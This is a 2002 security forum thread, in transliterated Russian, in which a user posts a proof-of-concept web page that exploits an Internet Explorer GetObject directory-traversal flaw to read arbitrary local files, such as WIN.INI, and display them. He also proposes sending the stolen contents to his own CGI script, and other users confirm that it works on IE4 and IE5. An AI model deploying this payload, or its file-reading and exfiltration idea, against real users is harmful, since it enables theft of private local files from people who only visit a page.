Go Back   Armenian Knowledge Base > Technical sections > Software > Software Security

Reply
 
Thread Tools

IE Can Read any file
Old 13.02.2002, 05:17   #1
VX
Консервативн
 
VX's Avatar
 
Join Date: 01 2002
Location: Кавказская Албания
Posts: 889
Rep Power: 0
Post IE Can Read any file

Neznau kakya u vas budet reakciya. no ya "kipyatkom pisal"
<blockquote><font size="1" face="MS Sans Serif, Verdana, Helvetica, sans-serif">code:</font><hr><pre>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Thor Larholm">
<TITLE>GetObject local file reading</TITLE>
</HEAD>
<BODY onl oad= &quote; KickIt()&quote;>

<P>Here you go, your
C:\<input type=text style="border:1px solid;width:300px" value="WINNT\WIN.INI" onc hange=&quoteKickIt()&quote id=whichFile tabindex=1> file
<input type=button oncl ick ="KickIt()" style="border:1px solid black" value="Read file">
</P>

<xmp id=Stuff tabindex=-1>

</xmp>

<script>
function KickIt(){
var S = "http://"+location.host+"/../../../../../../../../../../../../../../../../"
S += whichFile.value.replace(/\\/g,"/")
A=GetObject(S,"htmlfile")
setTimeout("PutFile()",200)
}
function PutFile(){
var sContent = A.body.innerText
Stuff.innerText = sContent.length>0 ? sContent : "File not found"
whichFile.focus()
}

</script>


</BODY>
</HTML>
</pre><hr></blockquote>

Da dumau cto eto vse delo mojno otpravlyat' svoei cgi programme <img src="smooch-1.gif" border="0">
Jdu vashix predlojenii
__________________
Праздник к нам приходит...

|^^^^^^^^^'''^\| ||\__
| ВОДКА-ВОДКА | ||','''|'''''''\_____,_
| _..... _ | ||_ _|'__|_____||.........| |
'(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)*

Old 14.02.2002, 19:30   #2
Академик
 
greka's Avatar
 
Join Date: 09 2001
Location: inside myself
Posts: 5,369
Rep Power: 6
Question

etot kod ne rabotaet - parsing errory i t.p.

ty sam proboval ego zapuskat'?
__________________
И повешенные могут качаться в неположенную сторону. /С.Е.Лец/

Old 14.02.2002, 20:47   #3
VX
Консервативн
 
VX's Avatar
 
Join Date: 01 2002
Location: Кавказская Албания
Posts: 889
Rep Power: 0
Post

Mr, kajetsa ya vam doljen koe cto obyasnit'

Kak moderator etoy chasti foruma ya OBYAZAN
posliatsa soobsheniya kotorie sototvestvuut istine.
NO, koda ya pisal etot code v ubb on postoyanno ne razrishal mne post delat', ssilayas (u can't use onload tag..), vot pochemy v handlerax javaScripta mne prishlos' postavit' probeli.tak cto vas bNOPIYA bil tut naprasnim.

uDACHI
__________________
Праздник к нам приходит...

|^^^^^^^^^'''^\| ||\__
| ВОДКА-ВОДКА | ||','''|'''''''\_____,_
| _..... _ | ||_ _|'__|_____||.........| |
'(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)*

Old 15.02.2002, 16:02   #4
Академик
 
greka's Avatar
 
Join Date: 09 2001
Location: inside myself
Posts: 5,369
Rep Power: 6
Smile

spasibo za pojasnenie, Sir,
ja poprobuju pokopat'sja v kode - interesno. <img src="smooch-1.gif" border="0">
__________________
И повешенные могут качаться в неположенную сторону. /С.Е.Лец/

Old 17.02.2002, 01:45   #5
»
 
z0mbie's Avatar
 
Join Date: 01 2002
Posts: 777
Rep Power: 0
Post

(!)
eto na vsex versiyax rabotaet ? [proveryal na IE4,rabotaet]

Old 17.02.2002, 05:57   #6
VX
Консервативн
 
VX's Avatar
 
Join Date: 01 2002
Location: Кавказская Албания
Posts: 889
Rep Power: 0
Post

Na 5.0 toje
__________________
Праздник к нам приходит...

|^^^^^^^^^'''^\| ||\__
| ВОДКА-ВОДКА | ||','''|'''''''\_____,_
| _..... _ | ||_ _|'__|_____||.........| |
'(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)*
Reply




Реклама:
реклама
Buy text link .

All times are GMT. The time now is 01:30.
Top

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.